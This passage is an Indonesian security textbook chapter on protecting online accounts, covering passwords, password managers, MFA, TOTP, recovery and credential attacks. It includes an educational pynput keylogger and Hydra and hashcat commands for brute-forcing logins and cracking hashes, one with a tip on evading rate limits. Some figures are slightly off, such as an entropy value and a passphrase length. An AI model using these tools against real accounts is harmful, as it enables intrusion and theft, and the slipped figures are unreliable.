BAB 09 - AKUN DIGITAL
PENGANTAR BAB
Setelah memahami fondasi keamanan informasi di Bab 08, kini kita masuk ke bab yang paling personal dan praktis: mengamankan akun digital Anda sendiri. Di era ketika rata-rata orang memiliki 100+ akun online (Nordpass 2024), mengelola identitas digital adalah keterampilan survival yang wajib dikuasai.
Menurut Verizon DBIR 2024, credential attacks (serangan berbasis kredensial) terlibat dalam 49% breach, menjadikannya vektor serangan paling umum. Password lemah, reused, atau stolen masih menjadi pintu masuk utama bagi penyerang ke jaringan dan data sensitif.
Bab ini akan membekali Anda dengan pengetahuan dan praktik langsung untuk mengamankan setiap akun digital Anda - dari password yang kuat, MFA, password manager, hingga audit keamanan akun secara menyeluruh. Setelah bab ini, Anda akan memiliki sistem pertahanan identitas yang solid.
Nordpass
Verizon DBIR 2024
Security.org
Microsoft 2024
- Memahami konsep identitas dan akun digital
- Membuat dan mengelola password yang kuat
- Menggunakan password manager dengan efektif
- Mengimplementasikan Multi-Factor Authentication
- Memahami cara kerja OTP dan authenticator apps
- Mengamankan proses account recovery
- Mendeteksi dan mencegah credential theft
- Memahami serangan brute force dan credential stuffing
- Mencegah account takeover (ATO)
- Melakukan audit keamanan akun secara mandiri
IDENTITAS & AKUN DIGITAL
Identitas digital adalah representasi elektronik dari seseorang di dunia maya, sementara akun digital adalah entitas yang memungkinkan identitas tersebut mengakses layanan tertentu. Memahami perbedaan dan hubungan keduanya adalah fondasi keamanan akun.
Definisi
"Digital identity is the unique representation of a subject engaged in an online transaction."
- NIST SP 800-63A, Enrollment and Identity Proofing
"A set of attributes related to an entity that uniquely distinguishes that entity within the context of an identity ecosystem."
Komponen Identitas Digital
Identitas digital terdiri dari beberapa atribut yang bersama-sama membentuk representasi unik seseorang:
| KOMPONEN | DESKRIPSI | CONTOH |
|---|---|---|
| Biometrik | Karakteristik fisik unik | Sidik jari, wajah, iris, suara |
| Kredensial | Data autentikasi | Username, password, PIN, token |
| Data Pribadi | Informasi personal | Nama, email, NIK, tanggal lahir |
| Perilaku | Pola aktivitas | Login time, lokasi, device, typing pattern |
| Perangkat | Device yang digunakan | Device ID, browser fingerprint, IP |
| Sosial | Relasi dan reputasi | Friends, followers, reviews, reputation |
Identitas vs Akun
| ASPEK | IDENTITAS DIGITAL | AKUN DIGITAL |
|---|---|---|
| Definisi | Representasi diri di dunia digital | Entitas untuk akses layanan tertentu |
| Cakupan | Menyeluruh (semua atribut) | Spesifik per layanan |
| Jumlah | Satu identitas inti | Banyak akun (100+ per orang) |
| Contoh | "Abdur Rozak" secara digital | akun Gmail, Instagram, BCA, dll |
| Kontrol | Anda kontrol penuh | Platform punya kebijakan |
Level of Assurance (LoA)
NIST mendefinisikan Level of Assurance (LoA) - tingkat kepercayaan terhadap identitas digital:
| LEVEL | DESKRIPSI | CONTOH |
|---|---|---|
| IAL1 | Self-asserted, no proofing | Signup email biasa |
| IAL2 | Remote proofing dengan evidence | Verifikasi KTP online |
| IAL3 | In-person proofing | Verifikasi di bank dengan tatap muka |
- Identitas digital = KTP Anda (satu, unik, merepresentasikan Anda)
- Akun digital = kunci untuk berbagai pintu (rumah, kantor, mobil, brankas)
- Username = label di kunci ("Kunci Rumah")
- Password = bentuk gigi kunci yang unik
- MFA = kunci + PIN + sidik jari untuk pintu yang sama
Jika KTP Anda dicuri, semua kunci bisa dibuat palsu. Jika satu kunci hilang, hanya satu pintu yang terpengaruh. Inilah mengapa password reuse sangat berbahaya - sama seperti membuat semua kunci dengan bentuk yang sama.
Identity Lifecycle
Pendaftaran
Verifikasi identitas
Login berkala
Hak akses
Monitoring
Penghapusan
Identitas digital Anda adalah aset paling berharga di era digital. Satu identitas yang bocor dapat membahayakan semua akun yang terhubung. Inilah mengapa:
- Proteksi identitas = prioritas utama
- Setiap akun harus punya kredensial unik
- MFA wajib untuk akun kritis
- Monitoring aktivitas akun secara berkala
- NIST SP 800-63A - Enrollment and Identity Proofing
- NIST SP 800-63B - Authentication and Lifecycle Management
- ISO/IEC 24760-1 - A framework for identity management
- Windley, P.J. (2018). Digital Identity. O'Reilly.
PASSWORD SECURITY
Password masih menjadi metode autentikasi paling umum di dunia, meskipun memiliki banyak kelemahan. Memahami cara membuat password yang kuat dan bagaimana password diserang adalah keterampilan fundamental.
Standar Modern: NIST SP 800-63B
Rekomendasi terbaru NIST untuk password:
- Minimal 8 karakter (disarankan 15+ untuk admin)
- Tidak perlu complexity rules (huruf besar, angka, simbol wajib) - riset menunjukkan ini kontraproduktif
- Check against breached passwords - tolak password yang sudah bocor
- Tidak perlu periodic rotation kecuali ada indikasi compromise
- Allow paste di field password (untuk password manager)
- Rate limiting untuk mencegah brute force
- Display password saat input (opsional, untuk user verification)
Entropi Password
Entropi mengukur "kekuatan" password dalam bit. Semakin tinggi entropi, semakin sulit ditebak.
Entropy Formula E = L × log₂(R) # Dimana: # E = Entropy (bits) # L = Length (panjang password) # R = Pool size (ukuran kumpulan karakter) # Pool size berdasarkan jenis karakter: # Lowercase only: 26 # Lowercase + uppercase: 52 # Lowercase + uppercase + digits: 62 # All printable ASCII: 95 # Contoh: # Password "password123" (11 chars, pool 62): E = 11 × log₂(62) = 11 × 5.95 = 65.5 bits # Password "correct horse battery staple" (25 chars, pool 27): E = 25 × log₂(27) = 25 × 4.75 = 118.8 bits
Kekuatan Password Berdasarkan Entropi
| ENTROPI | KEKUATAN | WAKTU CRACK (GPU) | CONTOH |
|---|---|---|---|
| < 28 bits | SANGAT LEMAH | Instant | 123456, password |
| 28-35 bits | LEMAH | Jam | qwerty123 |
| 36-59 bits | SEDANG | Hari - Minggu | P@ssw0rd! |
| 60-80 bits | KUAT | Bulan - Tahun | Tr0ub4dor&3 |
| 80-128 bits | SANGAT KUAT | Abad | correct-horse-battery-staple |
| > 128 bits | MILITARY-GRADE | Tak terhitung | Random 20+ chars |
Passphrase vs Password
Passphrase = rangkaian kata yang mudah diingat tapi sulit ditebak. Metode populer: DICENAME (4 kata acak dari kamus).
| METODE | CONTOH | PANJANG | ENTROPI | MUDAH DIINGAT? |
|---|---|---|---|---|
| Password kompleks | Tr0ub4dor&3 |
11 chars | ~65 bits | Sulit |
| Passphrase (DICENAME) | correct-horse-battery-staple |
25 chars | ~118 bits | Mudah |
- Password pendek ("123") = kunci yang bisa dibuka dengan kawat gigi
- Password kompleks ("P@ss123!") = kunci dengan 5 gigi - masih bisa di-pick
- Passphrase panjang ("correct horse battery staple") = kunci dengan 20 gigi acak - hampir mustahil di-pick
- Password reuse = satu kunci untuk semua pintu - jika satu hilang, semua rumah terbuka
Praktik: Password Strength Checker
Python - Password Strength Checker import math import re import hashlib def calculate_entropy(password): """Hitung entropi password dalam bits.""" pool_size = 0 if re.search(r'[a-z]', password): pool_size += 26 if re.search(r'[A-Z]', password): pool_size += 26 if re.search(r'[0-9]', password): pool_size += 10 if re.search(r'[^a-zA-Z0-9]', password): pool_size += 33 if pool_size == 0: return 0 entropy = len(password) * math.log2(pool_size) return entropy def check_password_strength(password): """Analisis kekuatan password.""" entropy = calculate_entropy(password) # Cek terhadap common passwords common = ['123456', 'password', 'qwerty', 'admin', 'letmein', 'welcome', 'monkey'] if password.lower() in common: return { 'strength': 'SANGAT LEMAH', 'entropy': entropy, 'crack_time': 'Instant', 'suggestion': 'Password ada di daftar common passwords!' } # Estimasi waktu crack (asumsi 10 billion guesses/second) guesses_per_sec = 10_000_000_000 total_guesses = 2 ** entropy seconds = total_guesses / guesses_per_sec if seconds < 60: crack_time = f"{seconds:.1f} detik" elif seconds < 3600: crack_time = f"{seconds/60:.1f} menit" elif seconds < 86400: crack_time = f"{seconds/3600:.1f} jam" elif seconds < 86400*30: crack_time = f"{seconds/86400:.1f} hari" elif seconds < 86400*365: crack_time = f"{seconds/(86400*30):.1f} bulan" elif seconds < 86400*365*100: crack_time = f"{seconds/(86400*365):.1f} tahun" else: crack_time = "Abad" # Klasifikasi kekuatan if entropy < 28: strength = 'SANGAT LEMAH' elif entropy < 36: strength = 'LEMAH' elif entropy < 60: strength = 'SEDANG' elif entropy < 80: strength = 'KUAT' elif entropy < 128: strength = 'SANGAT KUAT' else: strength = 'MILITARY-GRADE' return { 'strength': strength, 'entropy': f"{entropy:.1f} bits", 'length': len(password), 'crack_time': crack_time } # Contoh penggunaan passwords = [ "123456", "password", "P@ssw0rd!", "correct-horse-battery-staple", "xK9#mP2$vL5!nQ8@rT4&" ] for pwd in passwords: result = check_password_strength(pwd) print(f"\nPassword: {pwd}") print(f" Kekuatan: {result['strength']}") print(f" Entropi: {result['entropy']}") print(f" Waktu crack: {result['crack_time']}")
Password yang HARUS Dihindari
SEQUENTIAL
123456, abcdef, qwerty
PERSONAL INFO
Nama, tanggal lahir, NIK
KEYBOARD PATTERN
qwerty, asdfgh, zxcvbn
DICTIONARY WORDS
password, admin, welcome
REUSED
DATE-BASED
Tanggal lahir, tahun penting
- Panjang minimal 12 karakter (disarankan 16+)
- Unik untuk setiap akun - JANGAN reuse!
- Random atau passphrase - tidak mudah ditebak
- Cek di Have I Been Pwned - pastikan belum bocor
- Gunakan password manager - tidak perlu ingat semua
- Aktifkan MFA - password saja tidak cukup
- NIST SP 800-63B - Authentication and Lifecycle Management
- Security.org - Password Cracking Speeds 2024
- Have I Been Pwned - Pwned Passwords Database
- XKCD #936 - Password Strength (correct horse battery staple)
PASSWORD MANAGER
Password manager adalah aplikasi yang menyimpan, mengelola, dan menggenerate password secara aman. Dengan rata-rata orang memiliki 100+ akun, password manager bukan lagi kemewahan - melainkan kebutuhan.
Mengapa Password Manager?
Nordpass 2024
Pew Research
Nordpass 2024
Cara Kerja Password Manager
Proses Enkripsi:
- Master Password di-hash dengan PBKDF2 atau Argon2 (ribuan iterasi)
- Hasil hash jadi encryption key (AES-256)
- Semua data di vault dienkripsi lokal di device sebelum sync
- Zero-knowledge: provider tidak bisa baca data Anda
Rekomendasi Password Manager
| TOOL | TIPE | HARGA | KELEBIHAN | KEKURANGAN |
|---|---|---|---|---|
| Bitwarden | Cloud + Self-host | Free / $10/tahun | Open source, audit, self-host | UI kurang polished |
| 1Password | Cloud only | $36/tahun | UI excellent, Watchtower, Travel Mode | Tidak ada free tier, tidak open source |
| KeePassXC | Local only | Free | Open source, offline, kontrol penuh | Tidak ada sync otomatis |
| Proton Pass | Cloud (Swiss) | Free / $12/tahun | Privacy-focused, hide-my-email alias | Fitur lebih sedikit |
| NordPass | Cloud | Free / $36/tahun | XChaCha20 encryption, simple UI | Proprietary, fitur terbatas |
Fitur Penting Password Manager
PASSWORD GENERATOR
Generate password acak yang kuat.
AUTO-FILL
Isi username/password otomatis.
BREACH MONITOR
Alert jika password bocor.
SECURE SHARING
Share password dengan aman.
2FA BUILTIN
Simpan TOTP codes juga.
SECURE NOTES
Simpan data sensitif lain.
Praktik: Install Bitwarden CLI
Bash - Bitwarden CLI # Install Bitwarden CLI $ npm install -g @bitwarden/cli # Login $ bw login ? Email address: you@example.com ? Master password: [hidden] # Unlock vault $ bw unlock ? Master password: [hidden] # List semua items $ bw list items [{"id":"...","name":"Gmail","login":{...}}, ...] # Cari item spesifik $ bw list items --search gmail # Generate password baru $ bw generate -l -u -n -s 20 xK9#mP2$vL5!nQ8@rT4& # Buat item baru $ bw encode << EOF | bw create item { "type": 1, "name": "Akun Baru", "login": { "username": "user@example.com", "password": "generated-password-here" } } EOF # Export vault (backup) $ bw export --format encrypted_json # Logout $ bw logout
- Brankas = password manager
- Kombinasi brankas = master password (HANYA ANDA yang tahu)
- Isi brankas = semua password, 2FA codes, secure notes
- Lokasi brankas = lokal (KeePass) atau cloud (Bitwarden, 1Password)
Jika kombinasi brankas kuat dan brankas berkualitas, semua isinya aman. Jika kombinasi lemah (misal "1234"), semua isi brankas bisa dibobol.
Master password adalah kunci utama. Jika hilang atau bocor, semua akun Anda terancam. Pastikan:
- Panjang minimal 20+ karakter atau passphrase
- Unik - tidak dipakai di tempat lain
- Diingat - tidak disimpan di tempat lain
- Backup recovery code disimpan aman (offline, di brankas fisik)
- Aktifkan MFA untuk password manager itu sendiri
- Bitwarden - Security Whitepaper (bitwarden.com/security)
- 1Password - Security Design Whitepaper
- NIST SP 800-63B - Memorized Secrets
- Security.org - Password Manager Comparison 2024
MULTI-FACTOR AUTHENTICATION
Multi-Factor Authentication (MFA) adalah metode autentikasi yang membutuhkan dua atau lebih faktor verifikasi dari kategori berbeda. MFA adalah kontrol keamanan paling efektif untuk mencegah account takeover - Microsoft mengklaim MFA dapat memblokir 99.9% serangan otomatis.
Tiga Faktor Autentikasi
| FAKTOR | DESKRIPSI | CONTOH | KELEBIHAN | KEKURANGAN |
|---|---|---|---|---|
| Knowledge | Sesuatu yang Anda tahu | Password, PIN, security question | Mudah diimplementasi | Bisa dicuri/ditebak |
| Possession | Sesuatu yang Anda miliki | Smartphone, hardware token, smart card | Sulit dicuri remote | Bisa hilang/dicuri fisik |
| Inherence | Sesuatu yang Anda adalah | Sidik jari, wajah, iris, suara | Sulit dipalsukan | Tidak bisa diganti jika bocor |
Jenis-Jenis MFA
| JENIS | FAKTOR | KEAMANAN | KEMUDAHAN |
|---|---|---|---|
| SMS OTP | Possession (HP) | SEDANG (SIM swap risk) | Mudah |
| Email OTP | Possession (email) | SEDANG | Mudah |
| Authenticator App (TOTP) | Possession (app) | TINGGI | Mudah |
| Push Notification | Possession (app) | TINGGI | Sangat mudah |
| Hardware Token (FIDO2/WebAuthn) | Possession (device) | SANGAT TINGGI | Mudah |
| Biometric | Inherence | TINGGI | Sangat mudah |
| Backup Codes | Possession (code) | TINGGI | Ribet (backup only) |
Phishing-Resistant MFA
Tidak semua MFA sama! Beberapa rentan phishing, beberapa tidak:
SMS OTP dan TOTP bisa di-phish! Jika user memasukkan OTP di situs phishing, attacker bisa pakai OTP itu untuk login. Solusi: gunakan phishing-resistant MFA:
- FIDO2/WebAuthn (YubiKey, Passkeys) - tidak bisa di-phish
- Push notification dengan number matching - user konfirmasi nomor yang muncul
- Biometric + device binding - terikat ke device tertentu
MFA Flow
Knowledge
Knowledge
Possession
Inherence
3+ faktor
Praktik: Setup TOTP dengan Python
Python - TOTP Implementation # Install: pip install pyotp qrcode import pyotp import qrcode import time # 1. Generate secret key untuk user baru secret = pyotp.random_base32() print(f"Secret Key: {secret}") # 2. Buat URI untuk QR code uri = pyotp.totp.TOTP(secret).provisioning_uri( name="user@example.com", issuer_name="MyApp" ) print(f"URI: {uri}") # 3. Generate QR code img = qrcode.make(uri) img.save("totp_qr.png") print("QR code disimpan di totp_qr.png") # User scan QR ini dengan Google Authenticator/Authy # 4. Verifikasi OTP dari user totp = pyotp.TOTP(secret) user_otp = "123456" # dari user is_valid = totp.verify(user_otp) print(f"OTP valid: {is_valid}") # 5. Generate current OTP (untuk testing) current_otp = totp.now() print(f"Current OTP: {current_otp}") print(f"Valid for: {30 - int(time.time()) % 30} seconds") # 6. Dengan window tolerance (untuk clock drift) is_valid = totp.verify(user_otp, valid_window=1) # valid_window=1 artinya terima OTP dari 30 detik sebelum/sesudah
- Password saja = brankas dengan 1 kunci - jika kunci dicuri, brankas terbuka
- MFA 2 faktor = brankas dengan 2 kunci berbeda - butuh keduanya
- MFA 3 faktor = brankas dengan 3 kunci - hampir mustahil dibuka tanpa semua kunci
Pencuri butuh mencuri password DAN HP Anda DAN sidik jari Anda. Jauh lebih sulit!
- WAJIB MFA untuk: email, banking, password manager, medsos utama
- Gunakan authenticator app (Google Authenticator, Authy, Aegis) - bukan SMS
- Utamakan FIDO2/Passkeys jika tersedia (paling aman)
- Backup codes disimpan offline di tempat aman
- Review MFA settings berkala di setiap akun
- NIST SP 800-63B - Authenticator and Verifier Requirements
- FIDO Alliance - WebAuthn Specification
- Microsoft - 99.9% of automated attacks can be stopped with MFA (2024)
- RFC 6238 - TOTP: Time-Based One-Time Password Algorithm
OTP & AUTHENTICATOR
OTP (One-Time Password) adalah password yang hanya berlaku satu kali dan dalam waktu terbatas. Setelah digunakan atau kadaluarsa, OTP tidak bisa dipakai lagi. Ini mencegah serangan replay attack.
Jenis OTP
| JENIS | ALGORITMA | BASIS | CONTOH |
|---|---|---|---|
| HOTP | HMAC-based | Counter | Hardware token, Google Authenticator (legacy) |
| TOTP | Time-based HMAC | Waktu (30 detik) | Google Authenticator, Authy, Aegis |
| OCRA | Challenge-Response | Challenge dari server | Banking tokens |
| SMS OTP | Random | Server-generated | Verifikasi login via SMS |
| Email OTP | Random | Server-generated | Verifikasi email |
Cara Kerja TOTP
TOTP Algorithm TOTP = HMAC(K, T) # Dimana: # K = Shared secret (base32 encoded) # T = Time step = floor((Current Unix time - T0) / X) # T0 = Unix time to start (usually 0) # X = Time step in seconds (usually 30) # HMAC = Hash-based Message Authentication Code # Contoh: # Secret: JBSWY3DPEHPK3PXP (base32) # Current time: 2026-09-09 14:32:15 UTC # Unix time: 1757427135 # Time step: floor(1757427135 / 30) = 58580904 # TOTP: HMAC-SHA1(secret, time_step) -> truncate -> 6 digits # Result: 482 156 # OTP valid hanya 30 detik! # Setelah itu, time step berubah, OTP baru dihasilkan
Authenticator Apps Populer
| APP | PLATFORM | BACKUP | OPEN SOURCE | CATATAN |
|---|---|---|---|---|
| Aegis | Android | Encrypted backup | Ya | Rekomendasi utama untuk Android |
| Raivo OTP | iOS | iCloud backup | Ya | Rekomendasi untuk iOS |
| 2FAS | Android, iOS | Encrypted cloud | Ya | Cross-platform, open source |
| Google Authenticator | Android, iOS | Cloud sync (2023+) | Tidak | Populer tapi tidak open source |
| Authy | Multi | Cloud backup | Tidak | Deprecated untuk desktop |
| Bitwarden Authenticator | Multi | Integrated | Ya | Terintegrasi dengan Bitwarden |
Kelemahan OTP
CLOCK DRIFT
OTP invalid jika waktu device tidak sinkron.
DEVICE LOST
HP hilang = kehilangan akses 2FA.
PHISHING
MALWARE
Malware di HP bisa curi OTP.
Best Practices
- Backup codes: simpan offline di tempat aman
- Multiple authenticator: setup di 2 device berbeda
- Sync time: pastikan waktu device akurat
- Export secret: simpan secret key (encrypted) untuk recovery
- Hardware token untuk akun paling kritis (YubiKey)
- Review devices yang terdaftar secara berkala
- OTP = kata sandi yang dicetak di surat kabar hari ini
- Hanya berlaku hari ini (30 detik)
- Besok, kata sandi baru akan dicetak
- Surat kabar kemarin tidak berguna untuk hari ini
Begitu juga OTP - hanya berlaku sekali dan dalam waktu singkat. Setelah itu, tidak berguna lagi.
- RFC 4226 - HOTP: An HMAC-Based One-Time Password Algorithm
- RFC 6238 - TOTP: Time-Based One-Time Password Algorithm
- Aegis Authenticator - Documentation (getaegis.net)
- 2FAS - Open Source 2FA (2fas.com)
ACCOUNT RECOVERY
Account recovery adalah proses mendapatkan kembali akses ke akun ketika kredensial utama (password, device 2FA) hilang. Ini adalah weakest link di banyak sistem - attacker sering menargetkan recovery process karena biasanya lebih lemah dari autentikasi utama.
Metode Recovery Umum
| METODE | KEAMANAN | KELEBIHAN | KEKURANGAN |
|---|---|---|---|
| Recovery Email | SEDANG | Mudah, familiar | Jika email utama kena, recovery juga kena |
| Recovery Phone | SEDANG | Cepat via SMS | Rentan SIM swap attack |
| Backup Codes | TINGGI | Offline, tidak bergantung network | Harus disimpan aman |
| Security Questions | RENDAH | Mudah diingat | Jawaban bisa di-Google/social engineering |
| Trusted Contacts | SEDANG | Social recovery | Tergantung orang lain |
| Hardware Key Recovery | TINGGI | Phishing-resistant | Butuh hardware key cadangan |
Kelemahan Security Questions
Security questions sangat tidak aman dan direkomendasikan untuk dihindari:
- Jawaban bisa ditebak: "Nama hewan peliharaan pertama" - bisa dicari di medsos
- Jawaban bisa berubah: "Sekolah dasar" - memori bisa salah
- Jawaban terbatas: hanya beberapa jawaban mungkin
- Social engineering: attacker bisa cari jawaban via OSINT
Solusi: jika terpaksa, perlakukan jawaban seperti password - random dan simpan di password manager.
Contoh Security Question yang BURUK vs BAIK # BURUK - jawaban bisa dicari Q: "Siapa nama guru SD Anda?" A: "Bu Siti" # bisa dicari di Facebook Q: "Di kota mana Anda lahir?" A: "Bandung" # ada di KTP, medsos # BAIK - perlakukan seperti password Q: "Siapa nama guru SD Anda?" A: "xK9#mP2$vL5!" # random string, simpan di password manager Q: "Di kota mana Anda lahir?" A: "correct-horse-battery-staple" # passphrase
Best Practices Recovery
- Setup multiple recovery methods: jangan hanya andalkan satu
- Backup codes: download & simpan offline (print, brankas)
- Recovery email terpisah: email recovery != email utama
- Hardware key cadangan: simpan di lokasi aman (safe deposit box)
- Update recovery info saat ganti nomor/email
- Test recovery process secara berkala
- Hindari security questions atau gunakan jawaban random
- Trusted contacts: setup untuk akun kritis (Google, Apple)
Praktik: Google Account Recovery Setup
Checklist - Google Account Recovery Setup # ============================================ # GOOGLE ACCOUNT RECOVERY CHECKLIST # ============================================ # 1. Recovery Email [ ] my.recovery.email@gmail.com (email terpisah) [ ] Email recovery punya MFA aktif [ ] Password email recovery unik & kuat # 2. Recovery Phone [ ] +62 812-xxxx-xxxx (nomor aktif) [ ] SIM punya PIN aktif [ ] Kontak operator untuk blokir SIM jika hilang # 3. Backup Codes [ ] Download 10 backup codes dari Google [ ] Print & simpan di brankas rumah [ ] Simpan encrypted copy di password manager [ ] Catat tanggal download # 4. 2FA Methods [ ] Authenticator app (Aegis/2FAS) [ ] Hardware key (YubiKey) sebagai backup [ ] Push notification sebagai opsi ketiga # 5. Trusted Contacts (jika tersedia) [ ] Setup 3-5 trusted contacts [ ] Inform contacts tentang peran mereka [ ] Test recovery process # 6. Recovery Info Review [ ] Review recovery info setiap 6 bulan [ ] Update jika ganti nomor/email [ ] Test recovery process tahunan # 7. Emergency Plan [ ] Dokumentasi akses untuk keluarga (encrypted) [ ] Lawyer/kontak darurat untuk akses digital [ ] Inactive Account Manager (auto-share setelah X bulan)
- Password utama = kunci utama rumah
- Recovery email = kunci cadangan di rumah tetangga
- Backup codes = kunci cadangan di brankas bank
- Hardware key = kunci cadangan di safe deposit box
- Trusted contacts = tetangga yang punya kunci darurat
Jangan simpan semua kunci cadangan di satu tempat! Jika rumah tetangga kebakaran, Anda kehilangan 2 kunci sekaligus. Distribusikan kunci cadangan di berbagai lokasi aman.
- Google - Account Recovery Best Practices
- Microsoft - Account Recovery Options
- NIST SP 800-63B - Recovery Requirements
- Apple - Account Recovery & Trusted Contacts
CREDENTIAL THEFT
Credential theft (pencurian kredensial) adalah proses attacker mendapatkan username, password, atau data autentikasi lainnya secara ilegal. Ini adalah langkah pertama dalam banyak serangan siber - tanpa kredensial, attacker tidak bisa masuk.
Statistik Credential Theft
Have I Been Pwned
Verizon DBIR 2024
Kaspersky 2024
Group-IB 2024
Metode Credential Theft
| METODE | CARA KERJA | TARGET | CONTOH |
|---|---|---|---|
| Phishing | Email/situs palsu menipu user | Semua | Email "bank" minta login |
| Keylogging | Malware catat semua ketikan | PC terinfeksi | Zeus, DarkTequila |
| Credential Stuffing | Pakai bocoran dari breach lain | Akun dengan password reuse | Collection #1-5 |
| Brute Force | Coba semua kombinasi password | Password lemah | Hydra, hashcat |
| Data Breach | Database perusahaan dibobol | Database user | LinkedIn 2021, Tokopedia 2020 |
| Insider Threat | Karyawan curi kredensial | Internal systems | Edward Snowden |
| Session Hijacking | Curi session cookie/token | Web session | XSS, MITM |
| Pass-the-Hash | Gunakan hash password | Windows/AD | Mimikatz |
| Shoulder Surfing | Intip password langsung | Public places | Kafe, bandara |
| Social Engineering | Manipulasi user berikan password | Human target | Vishing, pretexting |
Keylogger: Contoh Detail
Keylogger adalah malware yang merekam setiap ketikan keyboard. Ada 2 jenis:
- Hardware keylogger: device fisik yang dipasang di antara keyboard dan PC
- Software keylogger: malware yang berjalan di background
Python - Contoh Keylogger (EDUKASI SAJA!) # PERINGATAN: Kode ini hanya untuk edukasi! # Menggunakan keylogger tanpa izin adalah ILEGAL! # Install: pip install pynput from pynput import keyboard def on_press(key): """Dipanggil setiap kali tombol ditekan.""" try: # Karakter normal print(f'{key.char}', end='', flush=True) # Biasanya dikirim ke server attacker via HTTP/SMTP except AttributeError: # Special keys (space, enter, shift, dll) print(f'[{key}]', end='', flush=True) def on_release(key): """Dipanggil setiap kali tombol dilepas.""" if key == keyboard.Key.esc: # Stop listener return False # Start listener with keyboard.Listener( on_press=on_press, on_release=on_release ) as listener: listener.join() # Output: setiap ketikan direkam # user mengetik: "password123" # keylogger merekam: "password123" # lalu dikirim ke attacker via email/HTTP
Pertahanan terhadap Credential Theft
- Password unik per akun - jika 1 bocor, yang lain aman
- Password manager - tidak perlu ketik password (anti-keylogger)
- MFA - password saja tidak cukup
- Antivirus/EDR - deteksi keylogger & malware
- Virtual keyboard untuk transaksi sensitif
- Cek Have I Been Pwned berkala
- Update OS & aplikasi - patch vulnerability
- Hati-hati phishing - verifikasi URL & pengirim
- Browser autofill - tidak ketik manual (anti-shoulder surfing)
- Network security - HTTPS, hindari Wi-Fi publik untuk login
Praktik: Cek Kebocoran Kredensial
Bash - Cek Have I Been Pwned via API # Cek email (perlu API key) $ curl -H "hibp-api-key: YOUR_API_KEY" \ https://haveibeenpwned.com/api/v3/breachedaccount/you@example.com # Cek password (tanpa API key, pakai k-Anonymity) # 1. Hash password dengan SHA-1 $ echo -n "password123" | sha1sum | awk '{print $1}' | tr 'a-z' 'A-Z' CBFDAC6008F9CAB4083784CBD1874F76618D2A97 # 2. Ambil 5 karakter pertama $ PREFIX="CBFDA" # 3. Query API dengan prefix (tidak kirim hash lengkap!) $ curl https://api.pwnedpasswords.com/range/$PREFIX # 4. Cek apakah suffix ada di response # Jika ada, password sudah bocor! # Response menunjukkan berapa kali password muncul di breaches # Python script untuk cek password $ python3 -c " import hashlib, requests pwd = input('Password: ') sha1 = hashlib.sha1(pwd.encode()).hexdigest().upper() prefix, suffix = sha1[:5], sha1[5:] r = requests.get(f'https://api.pwnedpasswords.com/range/{prefix}') for line in r.text.split(): if line.startswith(suffix): print(f'BOCOR! Ditemukan {line.split(\":\")[1]} kali') break else: print('Aman - tidak ditemukan di breaches') "
- Phishing = tipu Anda agar serahkan kunci sendiri
- Keylogger = CCTV yang merekam saat Anda pakai kunci
- Data breach = pabrik kunci kebobolan, semua kunci dicuri
- Credential stuffing = coba kunci dari rumah lain ke rumah Anda
- Shoulder surfing = orang di belakang mengintip saat Anda buka pintu
- Have I Been Pwned - Breach Database (haveibeenpwned.com)
- Verizon - Data Breach Investigations Report 2024
- Kaspersky - Keyloggers: What They Are and How to Protect Against Them
- Cloudflare - What is credential stuffing?
BRUTE FORCE & CREDENTIAL STUFFING
Brute force dan credential stuffing adalah dua teknik serangan otomatis yang paling umum untuk mendapatkan akses ke akun. Memahami cara kerjanya membantu kita membangun pertahanan yang efektif.
1. Brute Force Attack
Brute force attack = teknik mencoba semua kombinasi password yang mungkin sampai menemukan yang benar. Otomatis, cepat, tapi efektif untuk password lemah.
Jenis Brute Force:
| JENIS | CARA KERJA | CONTOH |
|---|---|---|
| Simple Brute Force | Coba semua kombinasi karakter | a, b, c, ..., aa, ab, ... |
| Dictionary Attack | Coba dari daftar kata umum | password, 123456, admin |
| Hybrid Attack | Kata + variasi (angka, simbol) | password123, P@ssw0rd! |
| Rule-based Attack | Apply rules ke wordlist | Capitalization, leetspeak |
| Mask Attack | Coba pola spesifik | ?u?l?l?l?l?d?d?d?d (1 huruf besar + 4 huruf + 4 angka) |
Praktik: Brute Force dengan Hydra
Bash - Hydra Brute Force (LAB ONLY!) # PERINGATAN: Hanya di lab sendiri! # Brute force SSH $ hydra -l admin -P /usr/share/wordlists/rockyou.txt \ ssh://192.168.1.100 # Brute force FTP $ hydra -L users.txt -P passwords.txt ftp://target.com # Brute force HTTP form login $ hydra -l admin -P rockyou.txt target.com \ http-post-form "/login:user=^USER^&pass=^PASS^:Invalid" # Dengan proxy (untuk menghindari rate limit) $ hydra -t 4 -w 10 -l admin -P rockyou.txt target.com http-post-form ... # Output: [DATA] max 16 tasks per 1 server, 14344394 login tries [STATUS] 123.00 tries/min, 123 tries in 00:01h [22][ssh] host: 192.168.1.100 login: admin password: password123
Praktik: Password Cracking dengan Hashcat
Bash - Hashcat Password Cracking # PERINGATAN: Hanya untuk password Anda sendiri atau lab! # Crack MD5 hash $ hashcat -m 0 -a 0 hashes.txt rockyou.txt # -m 0 = MD5 # -a 0 = dictionary attack # Crack SHA-256 hash $ hashcat -m 1400 -a 0 hashes.txt rockyou.txt # Crack bcrypt hash (lambat) $ hashcat -m 3200 -a 0 hashes.txt rockyou.txt # Brute force semua kombinasi (mask attack) $ hashcat -m 0 -a 3 hashes.txt ?l?l?l?l?l?l?d?d # ?l = lowercase, ?u = uppercase, ?d = digit, ?s = symbol # 6 huruf + 2 angka = 2.8 miliar kombinasi # Rule-based attack $ hashcat -m 0 -a 0 -r rules/best64.rule hashes.txt rockyou.txt # Show cracked passwords $ hashcat -m 0 --show hashes.txt 5f4dcc3b5aa765d61d8327deb882cf99:password e99a18c428cb38d5f260853678922e03:abc123
2. Credential Stuffing
Credential stuffing = menggunakan username:password yang sudah bocor dari breach lain untuk mencoba login ke layanan berbeda. Efektif karena banyak orang reuse password.
Brute Force vs Credential Stuffing
| ASPEK | BRUTE FORCE | CREDENTIAL STUFFING |
|---|---|---|
| Input | Semua kombinasi password | Username:password dari breach |
| Target | 1 akun, banyak password | Banyak akun, 1 password per akun |
| Kecepatan | Lambat (jutaan percobaan) | Cepat (hanya 1 percobaan per akun) |
| Deteksi | Mudah (rate limit, lockout) | Sulit (terlihat seperti login normal) |
| Keberhasilan | Tergantung kekuatan password | Tergantung password reuse |
Pertahanan
Untuk User:
- Password unik per akun (anti-stuffing)
- Password panjang (anti-brute force)
- MFA (stop keduanya)
- Cek Have I Been Pwned berkala
Untuk Developer/Admin:
- Rate limiting: batasi jumlah percobaan login
